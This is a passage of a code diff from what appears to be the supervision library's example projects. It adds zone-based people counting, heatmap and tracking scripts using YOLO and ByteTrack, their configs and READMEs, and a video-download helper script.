|
||||
],
|
||||
[
|
||||
2160,
|
||||
0
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
540,
|
||||
985
|
||||
],
|
||||
[
|
||||
0,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
0
|
||||
],
|
||||
[
|
||||
1620,
|
||||
985
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
0,
|
||||
1920
|
||||
],
|
||||
[
|
||||
0,
|
||||
3840
|
||||
],
|
||||
[
|
||||
540,
|
||||
2855
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
2160,
|
||||
1920
|
||||
],
|
||||
[
|
||||
1620,
|
||||
2855
|
||||
],
|
||||
[
|
||||
2160,
|
||||
3840
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
1620,
|
||||
2855
|
||||
],
|
||||
[
|
||||
540,
|
||||
2855
|
||||
],
|
||||
[
|
||||
0,
|
||||
3840
|
||||
],
|
||||
[
|
||||
2160,
|
||||
3840
|
||||
]
|
||||
]
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"polygons": [
|
||||
[
|
||||
[
|
||||
0,
|
||||
0
|
||||
],
|
||||
[
|
||||
1080,
|
||||
0
|
||||
],
|
||||
[
|
||||
1080,
|
||||
1920
|
||||
],
|
||||
[
|
||||
0,
|
||||
1920
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
1080,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
1920
|
||||
],
|
||||
[
|
||||
1080,
|
||||
1920
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
0,
|
||||
1920
|
||||
],
|
||||
[
|
||||
1080,
|
||||
1920
|
||||
],
|
||||
[
|
||||
1080,
|
||||
3840
|
||||
],
|
||||
[
|
||||
0,
|
||||
3840
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
1080,
|
||||
1920
|
||||
],
|
||||
[
|
||||
2160,
|
||||
1920
|
||||
],
|
||||
[
|
||||
2160,
|
||||
3840
|
||||
],
|
||||
[
|
||||
1080,
|
||||
3840
|
||||
]
|
||||
]
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
{
|
||||
"polygons": [
|
||||
[
|
||||
[
|
||||
0,
|
||||
0
|
||||
],
|
||||
[
|
||||
540,
|
||||
0
|
||||
],
|
||||
[
|
||||
540,
|
||||
3840
|
||||
],
|
||||
[
|
||||
0,
|
||||
3840
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
540,
|
||||
0
|
||||
],
|
||||
[
|
||||
1080,
|
||||
0
|
||||
],
|
||||
[
|
||||
1080,
|
||||
3840
|
||||
],
|
||||
[
|
||||
540,
|
||||
3840
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
1080,
|
||||
0
|
||||
],
|
||||
[
|
||||
1620,
|
||||
0
|
||||
],
|
||||
[
|
||||
1620,
|
||||
3840
|
||||
],
|
||||
[
|
||||
1080,
|
||||
3840
|
||||
]
|
||||
],
|
||||
[
|
||||
[
|
||||
1620,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
0
|
||||
],
|
||||
[
|
||||
2160,
|
||||
3840
|
||||
],
|
||||
[
|
||||
1620,
|
||||
3840
|
||||
]
|
||||
]
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
import argparse
|
||||
import json
|
||||
import os
|
||||
from typing import List, Tuple
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from inference.core.models.roboflow import RoboflowInferenceModel
|
||||
from inference.models.utils import get_roboflow_model
|
||||
from tqdm import tqdm
|
||||
|
||||
import supervision as sv
|
||||
|
||||
COLORS = sv.ColorPalette.default()
|
||||
|
||||
|
||||
def load_zones_config(file_path: str) -> List[np.ndarray]:
|
||||
"""
|
||||
Load polygon zone configurations from a JSON file.
|
||||
|
||||
This function reads a JSON file which contains polygon coordinates, and
|
||||
converts them into a list of NumPy arrays. Each polygon is represented as
|
||||
a NumPy array of coordinates.
|
||||
|
||||
Args:
|
||||
file_path (str): The path to the JSON configuration file.
|
||||
|
||||
Returns:
|
||||
List[np.ndarray]: A list of polygons, each represented as a NumPy array.
|
||||
"""
|
||||
with open(file_path, "r") as file:
|
||||
data = json.load(file)
|
||||
return [np.array(polygon, np.int32) for polygon in data["polygons"]]
|
||||
|
||||
|
||||
def initiate_annotators(
|
||||
polygons: List[np.ndarray], resolution_wh: Tuple[int, int]
|
||||
) -> Tuple[
|
||||
List[sv.PolygonZone], List[sv.PolygonZoneAnnotator], List[sv.BoundingBoxAnnotator]
|
||||
]:
|
||||
line_thickness = sv.calculate_dynamic_line_thickness(resolution_wh=resolution_wh)
|
||||
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=resolution_wh)
|
||||
|
||||
zones = []
|
||||
zone_annotators = []
|
||||
box_annotators = []
|
||||
|
||||
for index, polygon in enumerate(polygons):
|
||||
zone = sv.PolygonZone(polygon=polygon, frame_resolution_wh=resolution_wh)
|
||||
zone_annotator = sv.PolygonZoneAnnotator(
|
||||
zone=zone,
|
||||
color=COLORS.by_idx(index),
|
||||
thickness=line_thickness,
|
||||
text_thickness=line_thickness * 2,
|
||||
text_scale=text_scale * 2,
|
||||
)
|
||||
box_annotator = sv.BoundingBoxAnnotator(
|
||||
color=COLORS.by_idx(index), thickness=line_thickness
|
||||
)
|
||||
zones.append(zone)
|
||||
zone_annotators.append(zone_annotator)
|
||||
box_annotators.append(box_annotator)
|
||||
|
||||
return zones, zone_annotators, box_annotators
|
||||
|
||||
|
||||
def detect(
|
||||
frame: np.ndarray, model: RoboflowInferenceModel, confidence_threshold: float = 0.5
|
||||
) -> sv.Detections:
|
||||
"""
|
||||
Detect objects in a frame using Inference model, filtering detections by class ID
|
||||
and confidence threshold.
|
||||
|
||||
Args:
|
||||
frame (np.ndarray): The frame to process, expected to be a NumPy array.
|
||||
model (RoboflowInferenceModel): The Inference model used for processing the
|
||||
frame.
|
||||
confidence_threshold (float, optional): The confidence threshold for filtering
|
||||
detections. Default is 0.5.
|
||||
|
||||
Returns:
|
||||
sv.Detections: Filtered detections after processing the frame with the Inference
|
||||
model.
|
||||
|
||||
Note:
|
||||
This function is specifically tailored for an Inference model and assumes class
|
||||
ID 0 for filtering.
|
||||
"""
|
||||
results = model.infer(frame)[0]
|
||||
detections = sv.Detections.from_inference(results)
|
||||
filter_by_class = detections.class_id == 0
|
||||
filter_by_confidence = detections.confidence > confidence_threshold
|
||||
return detections[filter_by_class & filter_by_confidence]
|
||||
|
||||
|
||||
def annotate(
|
||||
frame: np.ndarray,
|
||||
zones: List[sv.PolygonZone],
|
||||
zone_annotators: List[sv.PolygonZoneAnnotator],
|
||||
box_annotators: List[sv.BoundingBoxAnnotator],
|
||||
detections: sv.Detections,
|
||||
) -> np.ndarray:
|
||||
"""
|
||||
Annotate a frame with zone and box annotations based on given detections.
|
||||
|
||||
Args:
|
||||
frame (np.ndarray): The original frame to be annotated.
|
||||
zones (List[sv.PolygonZone]): A list of polygon zones used for detection.
|
||||
zone_annotators (List[sv.PolygonZoneAnnotator]): A list of annotators for
|
||||
drawing zone annotations.
|
||||
box_annotators (List[sv.BoundingBoxAnnotator]): A list of annotators for
|
||||
drawing box annotations.
|
||||
detections (sv.Detections): Detections to be used for annotation.
|
||||
|
||||
Returns:
|
||||
np.ndarray: The annotated frame.
|
||||
"""
|
||||
annotated_frame = frame.copy()
|
||||
for zone, zone_annotator, box_annotator in zip(
|
||||
zones, zone_annotators, box_annotators
|
||||
):
|
||||
detections_in_zone = detections[zone.trigger(detections=detections)]
|
||||
annotated_frame = zone_annotator.annotate(scene=annotated_frame)
|
||||
annotated_frame = box_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections_in_zone
|
||||
)
|
||||
return annotated_frame
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Counting people in zones with Inference and Supervision"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--zone_configuration_path",
|
||||
required=True,
|
||||
help="Path to the zone configuration JSON file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--model_id",
|
||||
default="yolov8x-1280",
|
||||
help="Roboflow model ID",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--roboflow_api_key",
|
||||
default=None,
|
||||
help="Roboflow API KEY",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
default=None,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold",
|
||||
default=0.7,
|
||||
help="IOU threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
api_key = args.roboflow_api_key
|
||||
api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
|
||||
if api_key is None:
|
||||
raise ValueError(
|
||||
"Roboflow API key is missing. Please provide it as an argument or set the "
|
||||
"ROBOFLOW_API_KEY environment variable."
|
||||
)
|
||||
args.roboflow_api_key = api_key
|
||||
|
||||
video_info = sv.VideoInfo.from_video_path(args.source_video_path)
|
||||
polygons = load_zones_config(args.zone_configuration_path)
|
||||
zones, zone_annotators, box_annotators = initiate_annotators(
|
||||
polygons=polygons, resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
|
||||
model = get_roboflow_model(model_id=args.model_id, api_key=args.roboflow_api_key)
|
||||
|
||||
frames_generator = sv.get_video_frames_generator(args.source_video_path)
|
||||
if args.target_video_path is not None:
|
||||
with sv.VideoSink(args.target_video_path, video_info) as sink:
|
||||
for frame in tqdm(frames_generator, total=video_info.total_frames):
|
||||
detections = detect(frame, model, args.confidence_threshold)
|
||||
annotated_frame = annotate(
|
||||
frame=frame,
|
||||
zones=zones,
|
||||
zone_annotators=zone_annotators,
|
||||
box_annotators=box_annotators,
|
||||
detections=detections,
|
||||
)
|
||||
sink.write_frame(annotated_frame)
|
||||
else:
|
||||
for frame in tqdm(frames_generator, total=video_info.total_frames):
|
||||
detections = detect(frame, model, args.confidence_threshold)
|
||||
annotated_frame = annotate(
|
||||
frame=frame,
|
||||
zones=zones,
|
||||
zone_annotators=zone_annotators,
|
||||
box_annotators=box_annotators,
|
||||
detections=detections,
|
||||
)
|
||||
cv2.imshow("Processed Video", annotated_frame)
|
||||
if cv2.waitKey(1) & 0xFF == ord("q"):
|
||||
break
|
||||
|
||||
cv2.destroyAllWindows()
|
||||
@@ -0,0 +1,5 @@
|
||||
gdown
|
||||
inference
|
||||
supervision
|
||||
tqdm
|
||||
ultralytics
|
||||
Executable
+14
@@ -0,0 +1,14 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Get the directory where the script is located
|
||||
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
||||
|
||||
# Check if 'data' directory does not exist and then create it
|
||||
if [[ ! -e $DIR/data ]]; then
|
||||
mkdir "$DIR/data"
|
||||
else
|
||||
echo "'data' directory already exists."
|
||||
fi
|
||||
|
||||
# Download the market-square.mp4 file from Google Drive
|
||||
gdown -O "$DIR/data/market-square.mp4" "https://drive.google.com/uc?id=1vVrEVMxucHgqGd7vAa501ASojbeGPhIr"
|
||||
@@ -0,0 +1,206 @@
|
||||
import argparse
|
||||
import json
|
||||
from typing import List, Tuple
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
from tqdm import tqdm
|
||||
from ultralytics import YOLO
|
||||
|
||||
import supervision as sv
|
||||
|
||||
COLORS = sv.ColorPalette.default()
|
||||
|
||||
|
||||
def load_zones_config(file_path: str) -> List[np.ndarray]:
|
||||
"""
|
||||
Load polygon zone configurations from a JSON file.
|
||||
|
||||
This function reads a JSON file which contains polygon coordinates, and
|
||||
converts them into a list of NumPy arrays. Each polygon is represented as
|
||||
a NumPy array of coordinates.
|
||||
|
||||
Args:
|
||||
file_path (str): The path to the JSON configuration file.
|
||||
|
||||
Returns:
|
||||
List[np.ndarray]: A list of polygons, each represented as a NumPy array.
|
||||
"""
|
||||
with open(file_path, "r") as file:
|
||||
data = json.load(file)
|
||||
return [np.array(polygon, np.int32) for polygon in data["polygons"]]
|
||||
|
||||
|
||||
def initiate_annotators(
|
||||
polygons: List[np.ndarray], resolution_wh: Tuple[int, int]
|
||||
) -> Tuple[
|
||||
List[sv.PolygonZone], List[sv.PolygonZoneAnnotator], List[sv.BoundingBoxAnnotator]
|
||||
]:
|
||||
line_thickness = sv.calculate_dynamic_line_thickness(resolution_wh=resolution_wh)
|
||||
text_scale = sv.calculate_dynamic_text_scale(resolution_wh=resolution_wh)
|
||||
|
||||
zones = []
|
||||
zone_annotators = []
|
||||
box_annotators = []
|
||||
|
||||
for index, polygon in enumerate(polygons):
|
||||
zone = sv.PolygonZone(polygon=polygon, frame_resolution_wh=resolution_wh)
|
||||
zone_annotator = sv.PolygonZoneAnnotator(
|
||||
zone=zone,
|
||||
color=COLORS.by_idx(index),
|
||||
thickness=line_thickness,
|
||||
text_thickness=line_thickness * 2,
|
||||
text_scale=text_scale * 2,
|
||||
)
|
||||
box_annotator = sv.BoundingBoxAnnotator(
|
||||
color=COLORS.by_idx(index), thickness=line_thickness
|
||||
)
|
||||
zones.append(zone)
|
||||
zone_annotators.append(zone_annotator)
|
||||
box_annotators.append(box_annotator)
|
||||
|
||||
return zones, zone_annotators, box_annotators
|
||||
|
||||
|
||||
def detect(
|
||||
frame: np.ndarray, model: YOLO, confidence_threshold: float = 0.5
|
||||
) -> sv.Detections:
|
||||
"""
|
||||
Detect objects in a frame using a YOLO model, filtering detections by class ID and
|
||||
confidence threshold.
|
||||
|
||||
Args:
|
||||
frame (np.ndarray): The frame to process, expected to be a NumPy array.
|
||||
model (YOLO): The YOLO model used for processing the frame.
|
||||
confidence_threshold (float, optional): The confidence threshold for filtering
|
||||
detections. Default is 0.5.
|
||||
|
||||
Returns:
|
||||
sv.Detections: Filtered detections after processing the frame with the YOLO
|
||||
model.
|
||||
|
||||
Note:
|
||||
This function is specifically tailored for a YOLO model and assumes class ID 0
|
||||
for filtering.
|
||||
"""
|
||||
results = model(frame, imgsz=1280, verbose=False)[0]
|
||||
detections = sv.Detections.from_ultralytics(results)
|
||||
filter_by_class = detections.class_id == 0
|
||||
filter_by_confidence = detections.confidence > confidence_threshold
|
||||
return detections[filter_by_class & filter_by_confidence]
|
||||
|
||||
|
||||
def annotate(
|
||||
frame: np.ndarray,
|
||||
zones: List[sv.PolygonZone],
|
||||
zone_annotators: List[sv.PolygonZoneAnnotator],
|
||||
box_annotators: List[sv.BoundingBoxAnnotator],
|
||||
detections: sv.Detections,
|
||||
) -> np.ndarray:
|
||||
"""
|
||||
Annotate a frame with zone and box annotations based on given detections.
|
||||
|
||||
Args:
|
||||
frame (np.ndarray): The original frame to be annotated.
|
||||
zones (List[sv.PolygonZone]): A list of polygon zones used for detection.
|
||||
zone_annotators (List[sv.PolygonZoneAnnotator]): A list of annotators for
|
||||
drawing zone annotations.
|
||||
box_annotators (List[sv.BoundingBoxAnnotator]): A list of annotators for
|
||||
drawing box annotations.
|
||||
detections (sv.Detections): Detections to be used for annotation.
|
||||
|
||||
Returns:
|
||||
np.ndarray: The annotated frame.
|
||||
"""
|
||||
annotated_frame = frame.copy()
|
||||
for zone, zone_annotator, box_annotator in zip(
|
||||
zones, zone_annotators, box_annotators
|
||||
):
|
||||
detections_in_zone = detections[zone.trigger(detections=detections)]
|
||||
annotated_frame = zone_annotator.annotate(scene=annotated_frame)
|
||||
annotated_frame = box_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections_in_zone
|
||||
)
|
||||
return annotated_frame
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Counting people in zones with YOLO and Supervision"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--zone_configuration_path",
|
||||
required=True,
|
||||
help="Path to the zone configuration JSON file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_weights_path",
|
||||
default="yolov8x.pt",
|
||||
help="Path to the source weights file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
required=True,
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
default=None,
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.3,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold",
|
||||
default=0.7,
|
||||
help="IOU threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
video_info = sv.VideoInfo.from_video_path(args.source_video_path)
|
||||
polygons = load_zones_config(args.zone_configuration_path)
|
||||
zones, zone_annotators, box_annotators = initiate_annotators(
|
||||
polygons=polygons, resolution_wh=video_info.resolution_wh
|
||||
)
|
||||
|
||||
model = YOLO(args.source_weights_path)
|
||||
|
||||
frames_generator = sv.get_video_frames_generator(args.source_video_path)
|
||||
if args.target_video_path is not None:
|
||||
with sv.VideoSink(args.target_video_path, video_info) as sink:
|
||||
for frame in tqdm(frames_generator, total=video_info.total_frames):
|
||||
detections = detect(frame, model, args.confidence_threshold)
|
||||
annotated_frame = annotate(
|
||||
frame=frame,
|
||||
zones=zones,
|
||||
zone_annotators=zone_annotators,
|
||||
box_annotators=box_annotators,
|
||||
detections=detections,
|
||||
)
|
||||
sink.write_frame(annotated_frame)
|
||||
else:
|
||||
for frame in tqdm(frames_generator, total=video_info.total_frames):
|
||||
detections = detect(frame, model, args.confidence_threshold)
|
||||
annotated_frame = annotate(
|
||||
frame=frame,
|
||||
zones=zones,
|
||||
zone_annotators=zone_annotators,
|
||||
box_annotators=box_annotators,
|
||||
detections=detections,
|
||||
)
|
||||
cv2.imshow("Processed Video", annotated_frame)
|
||||
if cv2.waitKey(1) & 0xFF == ord("q"):
|
||||
break
|
||||
|
||||
cv2.destroyAllWindows()
|
||||
@@ -0,0 +1,75 @@
|
||||
# heatmap and tracking
|
||||
|
||||
## 👋 hello
|
||||
|
||||
This script performs heatmap and tracking analysis using YOLOv8, an object-detection method and
|
||||
ByteTrack, a simple yet effective online multi-object tracking method. It uses the
|
||||
supervision package for multiple tasks such as drawing heatmap annotations, tracking objects, etc.
|
||||
|
||||
|
||||
## 💻 install
|
||||
|
||||
- clone repository and navigate to example directory
|
||||
|
||||
```bash
|
||||
git clone https://github.com/roboflow/supervision.git
|
||||
cd supervision/examples/heatmap_and_track
|
||||
```
|
||||
|
||||
- setup python environment and activate it [optional]
|
||||
|
||||
```bash
|
||||
python3 -m venv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
- install required dependencies
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
## 🛠️ script arguments
|
||||
|
||||
- `--source_weights_path`: Required. Specifies the path to the weights file for the
|
||||
YOLO model. This file contains the trained model data necessary for object detection.
|
||||
- `--source_video_path` (optional): The path to the source video file that will be
|
||||
analyzed. This is the input video on which crowd analysis will be performed.
|
||||
If not specified default is `people-walking.mp4` from supervision assets
|
||||
- `--target_video_path` (optional): The path to save the output.mp4 video with annotations.
|
||||
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
|
||||
to filter detections. Default is `0.3`. This determines how confident the model should
|
||||
be to recognize an object in the video.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model. Default is 0.7. This value is used to manage object detection accuracy,
|
||||
particularly in distinguishing between different objects.
|
||||
- `--heatmap_alpha` (optional): Opacity of the overlay mask, between 0 and 1.
|
||||
- `--radius` (optional): Radius of the heat circle.
|
||||
- `--track_threshold` (optional): Detection confidence threshold for track activation.
|
||||
- `--track_seconds` (optional): Number of seconds to buffer when a track is lost.
|
||||
- `--match_threshold` (optional): Threshold for matching tracks with detections.
|
||||
|
||||
## ⚙️ run
|
||||
|
||||
```bash
|
||||
python script.py \
|
||||
--source_weights_path weight.pt \
|
||||
--source_video_path input_video.mp4 \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5 \
|
||||
--target_video_path output_video.mp4
|
||||
```
|
||||
|
||||
## © license
|
||||
|
||||
This demo integrates two main components, each with its own licensing:
|
||||
|
||||
- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
|
||||
under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
|
||||
You can find more details about this license here.
|
||||
|
||||
- supervision: The analytics code that powers the zone-based analysis in this demo is
|
||||
based on the Supervision library, which is licensed under the
|
||||
[MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
|
||||
makes the Supervision part of the code fully open source and freely usable in your
|
||||
projects.
|
||||
@@ -0,0 +1,2 @@
|
||||
supervision[assets]
|
||||
ultralytics
|
||||
@@ -0,0 +1,181 @@
|
||||
import argparse
|
||||
|
||||
import cv2
|
||||
from ultralytics import YOLO
|
||||
|
||||
import supervision as sv
|
||||
from supervision.assets import VideoAssets, download_assets
|
||||
|
||||
|
||||
def download_video() -> str:
|
||||
download_assets(VideoAssets.PEOPLE_WALKING)
|
||||
return VideoAssets.PEOPLE_WALKING.value
|
||||
|
||||
|
||||
def heatmap_and_track(
|
||||
source_weights_path: str,
|
||||
source_video_path: str,
|
||||
target_video_path: str,
|
||||
confidence_threshold: float = 0.35,
|
||||
iou_threshold: float = 0.5,
|
||||
heatmap_alpha: float = 0.5,
|
||||
radius: int = 25,
|
||||
track_threshold: float = 0.35,
|
||||
track_seconds: int = 5,
|
||||
match_threshold: float = 0.99,
|
||||
) -> None:
|
||||
### instantiate model
|
||||
model = YOLO(source_weights_path)
|
||||
|
||||
### heatmap config
|
||||
heat_map_annotator = sv.HeatMapAnnotator(
|
||||
position=sv.Position.BOTTOM_CENTER,
|
||||
opacity=heatmap_alpha,
|
||||
radius=radius,
|
||||
kernel_size=25,
|
||||
top_hue=0,
|
||||
low_hue=125,
|
||||
)
|
||||
|
||||
### annotation config
|
||||
label_annotator = sv.LabelAnnotator(text_position=sv.Position.CENTER)
|
||||
|
||||
### get the video fps
|
||||
cap = cv2.VideoCapture(source_video_path)
|
||||
fps = int(cap.get(cv2.CAP_PROP_FPS))
|
||||
cap.release()
|
||||
|
||||
### tracker config
|
||||
byte_tracker = sv.ByteTrack(
|
||||
track_thresh=track_threshold,
|
||||
track_buffer=track_seconds * fps,
|
||||
match_thresh=match_threshold,
|
||||
frame_rate=fps,
|
||||
)
|
||||
|
||||
### video config
|
||||
video_info = sv.VideoInfo.from_video_path(video_path=source_video_path)
|
||||
frames_generator = sv.get_video_frames_generator(
|
||||
source_path=source_video_path, stride=1
|
||||
)
|
||||
|
||||
### Detect, track, annotate, save
|
||||
with sv.VideoSink(target_path=target_video_path, video_info=video_info) as sink:
|
||||
for frame in frames_generator:
|
||||
result = model(
|
||||
source=frame,
|
||||
classes=[0], # only person class
|
||||
conf=confidence_threshold,
|
||||
iou=iou_threshold,
|
||||
# show_conf = True,
|
||||
# save_txt = True,
|
||||
# save_conf = True,
|
||||
# save = True,
|
||||
device=None, # use None = CPU, 0 = single GPU, or [0,1] = dual GPU
|
||||
)[0]
|
||||
|
||||
detections = sv.Detections.from_ultralytics(result) # get detections
|
||||
|
||||
detections = byte_tracker.update_with_detections(
|
||||
detections
|
||||
) # update tracker
|
||||
|
||||
### draw heatmap
|
||||
annotated_frame = heat_map_annotator.annotate(
|
||||
scene=frame.copy(), detections=detections
|
||||
)
|
||||
|
||||
### draw other attributes from `detections` object
|
||||
labels = [
|
||||
f"#{tracker_id}"
|
||||
for class_id, tracker_id in zip(
|
||||
detections.class_id, detections.tracker_id
|
||||
)
|
||||
]
|
||||
|
||||
label_annotator.annotate(
|
||||
scene=annotated_frame, detections=detections, labels=labels
|
||||
)
|
||||
|
||||
sink.write_frame(frame=annotated_frame)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Heatmap and Tracking with Supervision"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_weights_path",
|
||||
required=True,
|
||||
help="Path to the source weights file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--source_video_path",
|
||||
default=download_video(),
|
||||
help="Path to the source video file",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--target_video_path",
|
||||
default="output.mp4",
|
||||
help="Path to the target video file (output)",
|
||||
type=str,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--confidence_threshold",
|
||||
default=0.35,
|
||||
help="Confidence threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--iou_threshold",
|
||||
default=0.5,
|
||||
help="IOU threshold for the model",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--heatmap_alpha",
|
||||
default=0.5,
|
||||
help="Opacity of the overlay mask, between 0 and 1",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--radius",
|
||||
default=25,
|
||||
help="Radius of the heat circle",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--track_threshold",
|
||||
default=0.35,
|
||||
help="Detection confidence threshold for track activation",
|
||||
type=float,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--track_seconds",
|
||||
default=5,
|
||||
help="Number of seconds to buffer when a track is lost",
|
||||
type=int,
|
||||
)
|
||||
parser.add_argument(
|
||||
"--match_threshold",
|
||||
default=0.99,
|
||||
help="Threshold for matching tracks with detections",
|
||||
type=float,
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
heatmap_and_track(
|
||||
source_weights_path=args.source_weights_path,
|
||||
source_video_path=args.source_video_path,
|
||||
target_video_path=args.target_video_path,
|
||||
confidence_threshold=args.confidence_threshold,
|
||||
iou_threshold=args.iou_threshold,
|
||||
heatmap_alpha=args.heatmap_alpha,
|
||||
radius=args.radius,
|
||||
track_threshold=args.track_threshold,
|
||||
track_seconds=args.track_seconds,
|
||||
match_threshold=args.match_threshold,
|
||||
)
|
||||
@@ -0,0 +1,2 @@
|
||||
data/
|
||||
venv*/
|
||||
@@ -0,0 +1,111 @@
|
||||
# speed estimation
|
||||
|
||||
## 👋 hello
|
||||
|
||||
This example performs speed estimation analysis using various object-detection models
|
||||
and ByteTrack - a simple yet effective online multi-object tracking method. It uses the
|
||||
supervision package for multiple tasks such as tracking, annotations, etc.
|
||||
|
||||
https://github.com/roboflow/supervision/assets/26109316/0542fd3c-bb5f-475e-b96c-793560abeb18
|
||||
|
||||
## 💻 install
|
||||
|
||||
> [!NOTE]
|
||||
> YOLO-NAS is compatible with Python versions up to and including Python 3.10.
|
||||
|
||||
- clone repository and navigate to example directory
|
||||
|
||||
```bash
|
||||
git clone https://github.com/roboflow/supervision.git
|
||||
cd supervision/examples/speed_estimation
|
||||
```
|
||||
|
||||
- setup python environment and activate it [optional]
|
||||
|
||||
```bash
|
||||
python3.10 -m venv venv
|
||||
source venv/bin/activate
|
||||
```
|
||||
|
||||
- install required dependencies
|
||||
|
||||
```bash
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
- download `vehicles.mp4` file
|
||||
|
||||
```bash
|
||||
python3.10 video_downloader.py
|
||||
```
|
||||
|
||||
## 🛠️ script arguments
|
||||
|
||||
- `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
|
||||
directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
|
||||
variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
|
||||
to acquire your `API KEY`.
|
||||
- `--model_id` (optional): Designates the Roboflow model ID to be used. The default
|
||||
value is `"yolov8x-1280"`.
|
||||
|
||||
- `--source_weights_path`: Required. Specifies the path to the YOLO model's weights
|
||||
file, which is essential for the object detection process. This file contains the
|
||||
data that the model uses to identify objects in the video.
|
||||
- `--source_video_path`: Required. The path to the source video file that will be
|
||||
analyzed. This is the input video on which traffic flow analysis will be performed.
|
||||
- `--target_video_path`: The path to save the output video with
|
||||
annotations. If not specified, the processed video will be displayed in real-time
|
||||
without being saved.
|
||||
- `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO
|
||||
model to filter detections. Default is `0.3`. This determines how confident the
|
||||
model should be to recognize an object in the video.
|
||||
- `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
|
||||
for the model. Default is 0.7. This value is used to manage object detection
|
||||
accuracy, particularly in distinguishing between different objects.
|
||||
|
||||
## ⚙️ run
|
||||
|
||||
- yolo-nas
|
||||
|
||||
```bash
|
||||
python yolo_nas_example.py \
|
||||
--source_video_path data/vehicles.mp4 \
|
||||
--target_video_path data/vehicles-result.mp4 \
|
||||
--confidence_threshold 0.3 \
|
||||
--iou_threshold 0.5
|
||||
```
|
||||
|
||||
- inference
|
||||
|
||||
```bash
|
||||
python inference_example.py \
|
||||
--roboflow_api_key <ROBOFLOW API KEY> \
|
||||
--source_video_path data/vehicles.mp4 \
|
||||
--target_video_path data/vehicles-result.mp4 \
|
||||
--confidence_threshold 0.3 \
|
||||
